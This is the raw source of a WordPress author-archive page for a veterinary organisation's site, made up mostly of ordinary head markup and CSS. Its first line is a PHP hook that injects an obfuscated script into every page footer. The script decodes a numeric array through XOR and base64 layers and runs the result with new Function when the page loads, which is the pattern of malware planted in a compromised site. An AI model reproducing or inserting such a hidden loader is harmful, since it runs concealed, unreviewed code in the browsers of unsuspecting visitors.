add_action('wp_footer', function () { echo '<script>(function(){\nvar x418c5a=4309;\nif(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910}\nvar z64104a=y841319*18;\nvar _0x3d75fd8731c6=[8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,24,56,22,54,17,18,100,10,21,40,55,17,28,22,17,63,1,96,10,17,22,5,25,2,21,96,5,5,21,60,17,33,8,55,5,3,17,39,25,22,23,5,39,17,24,56,59,4,23,17,17,35,5,19,56,20,2,59,17,6,1,56,21,4,2,2,1,3,5,19,32,27,2,59,39,18,22,55,6,8,27,18,96,53,18,2,56,27,6,5,17,2,1,5,6,23,2,40,10,24,4,59,9,5,2,21,17,7,21,59,100,6,21,2,10,23,22,2,21,4,2,5,26,18,2,2,30,20,1,96,51,4,4,96,30,22,2,21,18,24,21,59,10,17,2,59,30,22,1,18,2,18,22,6,6,29,17,2,9,22,6,41,55,0,21,40,63,20,23,5,63,35,5,18,104,20,17,39,51,21,4,6,56,9,2,55,5,24,22,22,59,53,23,22,55,49,22,55,29,53,22,22,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,63,6,23,17,6,49,18,1,51,5,7,1,51,19,22,2,35,53,22,18,59,9,21,40,26,10,22,18,55,49,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,10,22,56,59,51,18,6,59,5,23,18,32,9,18,40,55,50,20,56,17,9,23,6,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,59,1,22,55,29,3,17,18,9,31,7,1,29,3,23,2,29,3,18,2,35,31,7,2,1,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,55,51,19,22,2,35,53,22,22,59,10,23,18,29,53,21,55,2,10,22,55,51,24,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,2,29,22,18,40,2,10,23,17,5,1,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,56,63,7,24,56,59,10,21,55,30,10,18,39,25,6,23,40,100,5,7,2,5,50,22,55,1,20,22,55,51,53,7,2,100,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,49,23,56,9,53,23,2,59,3,17,97,59,49,22,55,29,53,22,22,59,23,17,56,100,51,23,2,55,4,21,60,59,24,18,2,56,1,27,59,39,18,22,55,6,8,27,17,17,30,17,40,63,5,17,1,2,27,6,5,51,0,30,5,21,6,30,21,100,3,2,58,30,24,22,5,5,2,30,5,101,18,30,56,6,17,30,21,30,17,29,59,52,20,30,18,6,24,30,4,26,20,1,21,18,20,2,59,51,6,30,21,9,2,2,6,6,29,17,2,9,22,6,41,55,5,21,56,35,0,20,40,96,23,3,60,5,6,1,5,104,4,2,59,105,24,4,60,6,29,21,1,25,10,22,17,29,53,23,18,60,8,27,17,29,7,21,39,52,54,27,17,51,21,17,56,35,0,18,18,32,53,20,17,29,22,20,55,39,18,22,55,6,8,27,18,1,49,22,56,63,18,20,56,18,27,27,17,51,21,17,56,35,0,18,18,32,10,18,17,25,6,18,17,29,22,8,96,52,50,2,6,101,27,3,59,32,1,2,39,105,1,3,19,55,24,18,17,25,50,20,39,1,49,7,1,1,19,22,1,1,20,18,6,105,22,8,59,96,63,18,39,1,19,23,39,104,21,23,59,39,53,21,6,104,63,22,18,63,7,23,55,21,31,21,22,59,50,21,56,59,1,17,40,105,28,2,59,6,0,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,24,2,9,2,23,18,104,5,3,55,51,7,18,1,1,3,0,56,59,20,8,41,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,18,1,97,36,18,1,97,101,50,2,59,22,53,4,18,100,2,8,97,9,63,24,2,9,2,23,18,104,5,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,20,1,25,9,24,17,9,24,3,57,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,23,2,5,105,50,27,18,96,7,21,2,55,54,22,22,97,22,8,60,35,63,23,1,104,31,21,2,40,27,5,22,18,29,21,2,55,22,8,39,21,7,18,6,51,63,21,56,17,23,21,56,21,5,24,5,32,24,4,19,55,3,21,17,9,3,21,2,1,52,3,41,55,30,17,56,55,51,18,55,52,10,23,40,25,10,21,17,29,54,4,19,55,3,21,17,9,3,21,2,1,52,8,21,32,22,8,55,39,18,22,55,6,8,27,18,59,1,21,55,104,2,23,17,6,27,18,40,9,22,18,18,25,123,23,1,30,54,27,17,96,19,23,18,39,23,18,97,59,21,17,56,5,21,17,39,6,54,27,18,25,1,18,56,25,2,22,18,97,50,2,6,101,50,2,59,22,53,4,18,100,2,8,41,55,10,21,18,25,0,21,2,55,22,8,57,55,10,20,39,100,2,24,22,40,27,26,17,29,22,24,56,59,1,7,2,21,22,23,18,63,96,24,40,9,22,30,18,55,4,21,60,104,63,23,2,17,3,20,40,21,9,18,6,101,29,19,55,5,3,17,39,25,22,23,6,51,63,23,1,104,31,21,2,40,29,19,56,1,7,17,40,1,54,8,40,26,53,20,17,5,3,17,39,25,22,23,6,18,1,4,17,63,27,21,1,25,10,22,17,29,53,23,18,60,8,27,17,9,4,20,56,100,21,8,41,55,53,17,1,100,5,22,17,21,1,7,41,55,17,17,1,5,19,24,56,29,21,8,55,39,22,21,55,29,19,18,2,60,8,23,2,25,17,6,41,51,22,23,18,63,53,18,18,26,54,21,1,25,10,22,17,29,53,23,18,60,54,27,18,21,52,23,2,100,10,17,39,22,50,27,17,5,30,20,2,21,5,24,22,100,29,17,2,9,22,6,41,55,9,20,2,63,20,17,21,63,10,21,55,18,8,28,42,63,103,0,39,29,20,18,41,5,3,18,55,25,3,18,17,30,54,8,59,39,63,23,17,96,49,17,39,18,10,23,17,51,3,23,6,105,1,26,42,55,59,25,97,18,50,27,18,100,18,20,56,1,5,17,2,18,50,17,39,5,19,21,60,101,29,27,18,55,30,23,55,29,17,7,1,1,3,17,41,5,3,18,55,25,3,18,17,29,127,21,56,9,4,21,55,6,54,5,20,1,9,23,1,29,3,23,1,30,49,25,39,100,24,21,60,18,50,5,18,9,24,18,40,35,53,22,18,9,20,24,56,55,10,7,18,96,21,23,18,60,1,8,59,39,63,23,17,96,49,17,39,18,10,17,40,100,49,21,56,55,19,17,96,32,19,2,96,52,24,4,19,55,9,20,2,63,20,17,22,59,9,23,2,35,9,22,56,30,27,21,1,25,10,22,17,29,53,23,18,60,54,8,55,39,20,18,1,100,29,27,18,21,52,23,2,100,10,17,39,22,54,0,3,1,100,31,6,59,24,22,55,5,21,21,60,104,63,23,17,96,49,17,39,18,10,18,2,25,21,18,40,55,10,18,18,25,58,21,55,104,20,8,60,101,29,19,56,1,7,17,40,1,54,8,40,26,53,20,19,55,22,20,1,96,2,22,18,40,54,21,60,101,29,19,55,32,29,27,18,55,30,23,55,29,17,7,2,55,10,21,55,5,22,23,17,6,27,27,18,55,30,23,55,29,17,7,2,55,10,17,40,100,49,21,56,55,19,17,96,63,2,17,56,59,5,17,40,100,9,23,6,105,53,20,19,55,22,20,1,96,2,22,18,40,54,23,2,25,17,6,42,25,22,18,2,55,22,8,97,101,53,4,17,32,29,27,18,55,30,23,55,29,17,7,1,1,3,23,2,30,54,0,3,1,100,31,6,59,21,17,39,5,53,23,2,17,53,21,1,101,54,27,17,17,18,18,1,25,53,21,39,2,53,8,59,39,27,8,59,39,27,21,1,25,10,22,17,29,53,23,18,60,8,27,18,29,19,24,18,9,53,8,41,55,2,23,2,9,18,22,2,36,53,20,18,100,2,8,41,55,2,23,2,9,18,22,2,36,26,3,57,55,0,21,40,63,20,23,6,59,50,21,56,59,1,17,40,105,53,18,2,25,20,17,55,5,10,6,41,51,22,23,18,63,53,18,18,26,10,18,2,25,21,23,18,35,18,21,60,104,10,17,56,35,50,8,59,39,18,22,55,6,8,27,17,9,4,18,40,63,24,24,59,63,29,24,1,1,9,23,1,5,24,22,21,97,1,2,6,60,24,5,22,35,49,21,55,29,54,23,18,30,30,5,18,25,20,24,41,55,5,22,56,35,50,5,22,35,24,22,55,5,7,23,55,2,30,28,17,39,20,23,21,96,63,17,17,96,20,23,56,1,18,18,22,35,4,22,55,29,7,4,6,18,24,20,97,18,51,27,18,1,3,23,39,104,0,24,1,9,27,7,97,17,50,22,55,29,3,18,17,30,1,27,60,35,53,21,96,97,23,19,59,39,22,21,55,29,19,18,2,60,8,27,17,9,4,20,56,100,21,8,41,55,0,21,40,63,20,23,3,39,63,21,2,59,7,17,2,5,50,27,60,35,63,18,56,29,24,23,55,51,53,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,5,18,40,1,4,21,2,9,4,8,55,39,18,22,55,6,8,27,18,100,23,20,40,9,21,18,5,63,63,22,17,51,5,21,40,21,7,21,97,22,2,27,18,1,24,22,18,29,2,22,56,30,10,18,2,25,21,17,56,35,20,3,19,55,20,22,56,29,24,8,41,55,5,18,40,1,4,21,2,9,4,7,1,5,3,18,17,25,50,17,97,101,30,5,22,18,29,24,56,22,54,27,18,100,23,20,40,9,21,18,6,100,22,21,55,29,19,18,2,60,8,27,18,100,23,20,40,9,21,18,6,59,22,21,55,51,50,22,56,1,3,8,97,55,34,7,22,40,4,7,22,36,1,5,22,101,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,7,2,1,7,17,40,1,54,8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,4,17,63,2,17,56,59,5,17,40,100,9,23,6,51,63,21,18,5,6,22,18,100,2,21,60,104,63,18,18,9,21,17,2,17,52,8,55,39,18,22,55,6,8,27,18,100,9,24,2,22,27,21,40,55,5,17,56,63,3,23,1,30,10,22,17,5,3,22,55,29,3,29,56,35,3,23,56,25,10,17,97,105,1,18,18,1,22,24,55,51,20,5,22,101,29,27,18,100,9,24,2,22,10,18,17,5,5,3,57,55,21,22,55,1,18,21,18,97,51,5,22,55,7,18,40,101,10,18,40,104,24,3,17,2,27,5,22,39,63,24,2,100,22,23,22,40,1,5,3,55,18,3,60,18,51,31,56,9,20,24,97,59,2,23,40,55,9,18,6,104,42,22,55,29,3,7,2,59,9,17,22,105,53,7,21,22,24,2,96,52,24,8,59,39,63,24,56,55,52,21,6,59,7,18,17,100,10,22,21,63,20,18,1,25,3,4,22,104,4,23,18,1,19,23,56,25,10,17,97,59,54,21,56,9,4,19,39,35,4,23,18,1,19,23,56,25,10,17,97,59,6,23,18,29,31,8,60,59,7,18,39,51,3,23,2,29,96,24,40,100,50,21,97,104,63,24,56,55,52,21,6,101,29,19,57,55,4,17,56,39,7,24,60,105,24,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,21,22,55,1,18,21,18,97,53,20,18,100,2,8,41,55,21,22,55,1,18,21,18,97,53,27,18,17,6,22,2,1,53,21,2,26,54,27,17,1,7,18,17,21,1,24,6,101,29,19,60,101,29,19,60,101,54,8,59,39,109];\nvar _0xa565beffc3a1=80;\nvar _0x99dcf8ed2c65=\'\';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x3d75fd8731c6.length;_0x75f9f42cd56e++)\n  _0x99dcf8ed2c65+=String.fromCharCode(_0x3d75fd8731c6[_0x75f9f42cd56e]^_0xa565beffc3a1);\nvar _0xe1c29d8a8a41=119;\nvar _0x5a1ac3c88648=atob(_0x99dcf8ed2c65);\nvar _code=\'\';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x5a1ac3c88648.length;_0x75f9f42cd56e++)\n  _code+=String.fromCharCode(_0x5a1ac3c88648.charCodeAt(_0x75f9f42cd56e)^_0xe1c29d8a8a41);\n(new Function(_code))();\n})();</script>'; }, 99);
<!DOCTYPE html><html class="avada-html-layout-wide avada-html-header-position-top avada-html-is-archive avada-is-100-percent-template" lang="en-US" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><script data-no-optimize="1">var litespeed_docref=sessionStorage.getItem("litespeed_docref");litespeed_docref&&(Object.defineProperty(document,"referrer",{get:function(){return litespeed_docref}}),sessionStorage.removeItem("litespeed_docref"));</script> <meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1" /><title>pmdiyar &#8211; Page 2 &#8211; Nahrain Veterinary</title><meta name='robots' content='max-image-preview:large' /><link rel="alternate" type="application/rss+xml" title="Nahrain Veterinary &raquo; Feed" href="https://nahrainveterinary.com/feed/" /><link rel="alternate" type="application/rss+xml" title="Nahrain Veterinary &raquo; Comments Feed" href="https://nahrainveterinary.com/comments/feed/" /><link rel="icon" href="https://nahrainveterinary.com/wp-content/uploads/2024/02/logo.jpg" type="image/jpeg" /><link rel="alternate" type="application/rss+xml" title="Nahrain Veterinary &raquo; Posts by pmdiyar Feed" href="https://nahrainveterinary.com/author/pmdiyar/feed/" /><meta property="og:locale" content="en_US"/><meta property="og:type" content="profile"/><meta property="og:site_name" content="Nahrain Veterinary"/><meta property="og:title" content="pmdiyar, Author at Nahrain Veterinary"/><meta property="og:url" content="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-7/"/><meta property="og:image" content="https://nahrainveterinary.com/wp-content/uploads/2026/08/photo_2024-11-13_14-11-15.jpg"/><meta property="og:image:width" content="917"/><meta property="og:image:height" content="1280"/><meta property="og:image:type" content="image/jpeg"/><style id="wp-img-auto-sizes-contain-inline-css">img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */</style><link data-optimized="2" rel="stylesheet" href="https://nahrainveterinary.com/wp-content/litespeed/css/c7983553652a83bc6f7dbc4dd71ffefb.css?ver=b5c86" /><style id="wp-block-library-inline-css">:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */</style><style id="classic-theme-styles-inline-css">/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */</style><style id="global-styles-inline-css">:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--awb-color-1: #ffffff;--wp--preset--color--awb-color-2: #e8edf1;--wp--preset--color--awb-color-3: #d2dbe2;--wp--preset--color--awb-color-4: #db5140;--wp--preset--color--awb-color-5: #63717f;--wp--preset--color--awb-color-6: #45505a;--wp--preset--color--awb-color-7: #323a41;--wp--preset--color--awb-color-8: #191d21;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 12px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 24px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--normal: 16px;--wp--preset--font-size--xlarge: 32px;--wp--preset--font-size--huge: 48px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:where(body) { margin: 0; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-awb-color-1-color{color: var(--wp--preset--color--awb-color-1) !important;}.has-awb-color-2-color{color: var(--wp--preset--color--awb-color-2) !important;}.has-awb-color-3-color{color: var(--wp--preset--color--awb-color-3) !important;}.has-awb-color-4-color{color: var(--wp--preset--color--awb-color-4) !important;}.has-awb-color-5-color{color: var(--wp--preset--color--awb-color-5) !important;}.has-awb-color-6-color{color: var(--wp--preset--color--awb-color-6) !important;}.has-awb-color-7-color{color: var(--wp--preset--color--awb-color-7) !important;}.has-awb-color-8-color{color: var(--wp--preset--color--awb-color-8) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-awb-color-1-background-color{background-color: var(--wp--preset--color--awb-color-1) !important;}.has-awb-color-2-background-color{background-color: var(--wp--preset--color--awb-color-2) !important;}.has-awb-color-3-background-color{background-color: var(--wp--preset--color--awb-color-3) !important;}.has-awb-color-4-background-color{background-color: var(--wp--preset--color--awb-color-4) !important;}.has-awb-color-5-background-color{background-color: var(--wp--preset--color--awb-color-5) !important;}.has-awb-color-6-background-color{background-color: var(--wp--preset--color--awb-color-6) !important;}.has-awb-color-7-background-color{background-color: var(--wp--preset--color--awb-color-7) !important;}.has-awb-color-8-background-color{background-color: var(--wp--preset--color--awb-color-8) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-awb-color-1-border-color{border-color: var(--wp--preset--color--awb-color-1) !important;}.has-awb-color-2-border-color{border-color: var(--wp--preset--color--awb-color-2) !important;}.has-awb-color-3-border-color{border-color: var(--wp--preset--color--awb-color-3) !important;}.has-awb-color-4-border-color{border-color: var(--wp--preset--color--awb-color-4) !important;}.has-awb-color-5-border-color{border-color: var(--wp--preset--color--awb-color-5) !important;}.has-awb-color-6-border-color{border-color: var(--wp--preset--color--awb-color-6) !important;}.has-awb-color-7-border-color{border-color: var(--wp--preset--color--awb-color-7) !important;}.has-awb-color-8-border-color{border-color: var(--wp--preset--color--awb-color-8) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-normal-font-size{font-size: var(--wp--preset--font-size--normal) !important;}.has-xlarge-font-size{font-size: var(--wp--preset--font-size--xlarge) !important;}.has-huge-font-size{font-size: var(--wp--preset--font-size--huge) !important;}
